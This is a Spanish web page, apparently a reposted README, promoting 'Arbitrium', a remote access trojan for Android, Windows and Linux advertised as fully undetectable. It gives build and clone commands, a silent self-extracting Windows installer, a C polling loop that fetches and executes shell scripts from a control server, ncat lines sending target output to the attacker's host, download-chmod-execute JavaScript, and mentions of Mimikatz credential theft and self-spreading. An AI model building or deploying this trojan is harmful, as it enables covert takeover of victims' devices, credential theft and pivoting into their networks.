Arbitrium RAT Multiplataforma Indetectable FUD

Arbitrium-RAT: RAT Multiplataforma Indetectable (FUD)

Arbitrium es un troyano de acceso remoto (RAT), multiplataforma y totalmente indetectable (FUD), que permite controlar Android, Windows y Linux y no requiere ninguna excepción de firewall o reenvío de puertos. Da acceso a las redes locales, puedes usar los objetivos como proxy HTTP y acceder al router, descubrir las IPs locales y escanear sus puertos.

Incluye módulos como Mimikatz, y se pueden añadir fácilmente nuevos módulos. Además, si Arbitrium se utiliza con un software de suplantación de DNS se puede propagar de forma autónoma entre los dispositivos (#AutoSpread). Arbitrium es un proyecto de múltiples partes, las partes fueron construidas usando Java, JS, C, Python, Cordova y VueJS.

Demostración Arbitrium-RAT
Demostración Arbitrium-RAT

Características

FUD

El cliente utiliza herramientas simples que lo hacen completamente indetectable, el troyano basado en netcat principalmente canaliza paquetes TCP para ejecutar los comandos del servidor.

Firewall

Arbitrium no requiere añadir una excepción al firewall, o una regla de reenvío de puertos. El servidor es una API con endpoints que recibe tareas para un objetivo específico y otras que el troyano solicita periódicamente para obtener las nuevas instrucciones, las instrucciones pueden ser un archivo JavaScript (la aplicación Android está hecha con Cordova) o un archivo Shell para ejecutar en el terminal/CMD. Una vez que el servidor recibe una tarea para un dispositivo, el primero programa la tarea y luego abre un proceso hijo donde espera la respuesta del troyano escuchando un puerto efímero dedicado. Por lo tanto, el troyano no necesita escuchar ningún puerto.

Optimización de la batería / StealthMode

A diferencia de Android Stock, las personalizaciones como MIUI de Xiaomi, EMUI de Huawei o Android Pie de Samsung ignoran los permisos/excepciones dados a una aplicación por el usuario. Así que si intentas ejecutar un troyano de Android en segundo plano, en el momento en que la aplicación empiece a ejecutar tareas frecuentes o pesadas (en algunos casos incluso ligeras) (por ejemplo: enviando peticiones http periódicamente) será eliminada sin importar los permisos que el usuario conceda, este sistema operativo ignora completamente la configuración actual, dontkillmyapp.com es un sitio web conocido dedicado a este tema en particular.

El tema mencionado fue bastante molesto mientras trabajaba en este proyecto, después de un tiempo me di cuenta de que construir un binario ligero que sigue ejecutando las tareas asignadas en segundo plano mientras que la MainActivity se queda quieta justo después de lanzar el binario aparece para pasar por alto la mayoría de las restricciones e incluso mejorar el rendimiento de la App.

MainActivity recibe un archivo JS del servidor y utiliza ThreadPoolExecutor para iniciar el binario sin necesidad de colgarlo para que salga (Más sobre este StealthMode/BatteryBypass).

Interfaz web

También hay un panel de control, no es un requisito sino una extensión, es una simple aplicación web de VueJS, una interfaz de usuario que se puede utilizar para controlar los objetivos en lugar de enviar directamente las solicitudes a la API. La aplicación web está disponible aquí: Arbitrium WebApp

Requerimientos

  • Cliente de Android
Java ver ...
Cordova
Android SDK & NDK
  • Cliente de Windows/Linux
Python 3.6 (o más reciente)
PyInquirer
Winrar (sólo Windows)

Construir

Nota

Utiliza primero setAPI_FQDN.sh para establecer el dominio del servidor/IP en todos los archivos

Clona el repositorio

git clone https://github.com/BenChaliah/Arbitrium-RAT.git --recursive

Android

cd ArbitriumClients/AndroidApp/ClientApp/
cordova build android
cd ../StealthMode/
make clean && make build

Windows

cd ArbitriumClients\WindowsApp
pyinstaller --onefile runFrame.py
copy Client_tools\toolbox.exe dist\
copy Client_tools\SFXAutoInstaller.conf dist\
copy Client_tools\start_script.vbs dist\
cd dist
{Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe  

Componentes

API del servidor

Los binarios construidos para Android deben ser colocados dentro de /assets (renombrarlos a binary_{cpuabi}) y el APK los descargará, pero si deseas ponerlos dentro del APK asegúrate de extraerlos dentro de la carpeta de datos de la App /data/data/nombre_paquete o crea un enlace simbólico dentro:

window.MyOrangePlugin.exec("/system/bin/ln -s ...
pip install flask flask_cors && ./runserver.sh # Python2.7
	├── runserver.sh
	├── main.py
	├── reverse_http.py
	├── initProxy.py
	│
	├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
	│   ├── runFrame_arm64-v8a
	│   ├── toolbox_arm64-v8a
	│   ├── ... (x86, x86_64, armeabi-v7a)
	│
	│
	├── JS_scripts
	│   ├── checkupdate.js
	│   ├── init.js
	│   ├── runshell.js
	│   └── StealthMode.js
	│
	├── misc
	│
	├── modules
	│   ├── discover.py
	│   ├── mimikatz.py
	│   ├── ports.py
	│   └── runCMD.py
	│
	└── threads

Puntos finales

La respuesta de la API puede diferir según la plataforma del dispositivo desde el que opera el troyano. la siguiente parte explora principalmente el caso de Android, porque es el más sofisticado debido a las restricciones del sistema operativo.

  • /checkupdate.js

Cuando el cliente envía su primera solicitud al punto final /checkupdate.js, el servidor crea un objeto genShell, que establece un puerto local único para ese dispositivo self.lport = self.setPort() y un ID de hilo self.threaduid = random.randint además de otros atributos. Luego devuelve el código JavaScript apropiado (dependiendo de la CPU/ABI) que contendrá las instrucciones para descargar, chmod y ejecutar (main thread, o poolexec) algunos recursos. En cuanto a las siguientes peticiones devuelve un código JS que ejecutará las tareas pendientes si las hay.

runCMD es un método de genShell que escribe el script de shell que queremos que el troyano se ejecute en un archivo dentro de /assets para ser descargado más tarde por el cliente, luego utiliza netcat para escuchar la respuesta y lo canaliza a un archivo dentro de /threads

Ejemplo: Digamos que quieres usar el objetivo como un proxy HTTP, la API formula la petición como el siguiente cmd:

echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | {abspath_toolbox/ncat} {API_HOST_IP} {lport} -w 10;\r\n

y luego lo guardar en assets/runsh_{uid_task}.sh, luego dependiendo de si la solicitud provino de StealthMode/BatteryBypass o no, /checkupdate.js obtiene el troyano para descargar el archivo de shell y ejecutarlo.

>>> Popen("exec $(nc -l 0.0.0.0 -p {lport} -dN > {task_filename})" shell=True, close_fds=True, ...)
  • /addtask

Usando el token apropiado el administrador puedes conseguir que un dispositivo ejecute un comando a través de este punto final, el servidor describirá este comando como pendiente lo cual impactará en la próxima respuesta de/checkupdate.js a ese dispositivo. Entonces devolverá un identificador generado aleatoriamente para esta tarea.

  • /pingtask

La combinación del identificador de tarea generado por /addtask y el mencionado Id de hilo threaduid hace que el nombre del archivo dentro de /threads donde se guarda la salida del comando. Una vez que se solicita este punto final se comprueba si existe /threads/{threaduid}x{taskid}, si es así el servidor devuelve el contenido del archivo, de lo contrario devuelve 0.

  • /runproxy & /pushproxy

Esto ejecutará reverse_http.py en una pantalla separada, y luego devuelve un IP:PORT (HTTP proxy), que permitirá al administrador pivotar las peticiones HTTP a través del dispositivo troyano. Por ejemplo, si el administrador establece esta información en la configuración del navegador e intenta abrir el puerto del router (Ej: http://192.16...), el navegador abrirá la interfaz web del router como si el administrador formara parte de la LAN de destino.

Cliente/Troyano (Android)

La aplicación se construye usando Cordova por su simplicidad y soporte para el desarrollo de multiplataformas. Esta aplicación tiene dos partes principales

  • netbolt-orange-plugin:

este es un plugin de cordova que hice, contiene pocas funciones que podemos llamar desde index.html, los scripts descargados a través de /checkupdate.js utilizan principalmente estos métodos para ejecutar la tarea asignada

  • exec() : ejecuta el shell cmd y luego devuelve la salida cmd, se ejecuta en el hilo de UI
  • poolexec() : lo mismo que ‘exec()’, pero este usa el ThreadPoolExecutor para que la App pueda ejecutar un cmd sin bloquear el hilo principal, cuando la salida esté lista, se envía a través de una llamada con el estado de salida
  • download() : este es para descargar cualquier recurso que la API o el administrador quiera o necesite para ejecutar una tarea

Ejemplo: El troyano al principio solicita /checkupdate.js, supongamos que se trata de un teléfono Android y queremos iniciar el StealthMode/BatteryBypass para evitar ser matado (Optimizaciones de la batería…), la API entonces responde con algo como:

function sfunc1(){
    window.MyOrangePlugin.download([{Link for ELF} ...], function(res){
        sfunc2(...);
    });
}
function sfunc2(...){
    window.MyOrangePlugin.exec("chmod ... ", function(res){
    	sfunc3(...);
    });
}
function sfunc3(...){
    window.MyOrangePlugin.poolexec({Here we start the binary the will keep interacting with the API}, function(res){
    	...
    });
}

La aplicación también utiliza una versión ligeramente personalizada del plugin background mode de Cordova.

  • StealthMode:
  • runFrame.c : Se trata de un simple programa C que envía peticiones HTTP cada pocos segundos a la API a través de un socket, guarda la respuesta en un archivo shell y luego hace una llamada al sistema para ejecutarlo.
  • toolbox.c : Este es un netcat autónomo

Los binarios resultantes están vinculados estáticamente para asegurar la estabilidad y la independencia del camino. La importancia de usar runFrame en lugar de simplemente ejecutar un bucle JS en index.html no sólo se detiene en los problemas de la batería explicados anteriormente, sino también por razones de rendimiento. La aplicación con este modo utiliza mucho menos recursos y es más fiable.

La frecuencia de las solicitudes está fijada por defecto en 5s, pero puede ser manipulada por la API (el servidor hace que runFrame se ralentice automáticamente cuando no hay cmds programados dándole sleep 30 como respuesta), por lo tanto, cuando el administrador esté controlando un dispositivo o usándolo como proxy se programarán varias tareas y el retraso entre cada una de ellas no será significativo, de lo contrario no queremos que el cliente siga enviando solicitudes frecuentes lo que lo haría notable y consumiría recursos.

// void bzero(void *s, size_t n);
#define bzero(s, n) memset((s), 0, (n))
...
strcat(reque, "&token=updated HTTP/1.1\r\nHost: {API_Host}\r\nUser-Agent: JustKidding\r\nConnection: close\r\n\r\n");
char *routing = "ip route | grep wlan";
...
while (1){
	routingSTAT = system(routing);
	// grep exit status will only equal 0 if a wlan interface was listed
	if (routingSTAT==0){
		fd = socket_connect(argv[1], atoi(argv[2])); 
		write(fd, reque, strlen(reque));
		bzero(buffer, BUFFER_SIZE);
		...
		}

Cliente/Troyano (Windows/Linux)

A diferencia del caso de Android, aquí un simple script Pythonn servirá. Además, la versión de Windows está equipada con un script VBA y SFX para hacer un autoinstalador silencioso, el troyano será sólo un ejecutable autónomo que se ejecuta en segundo plano después de extraer el contenido dentro de %TEMP%.

Capturas de Pantalla

Proxy HTTP

Proxy HTTP
Proxy HTTP

Powershell

Powershell
Powershell

Escáner de puerto

Escáner de puerto
Escáner de puerto

Error: Repositorio no encontrado. Por favor, revisa tu URL.

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda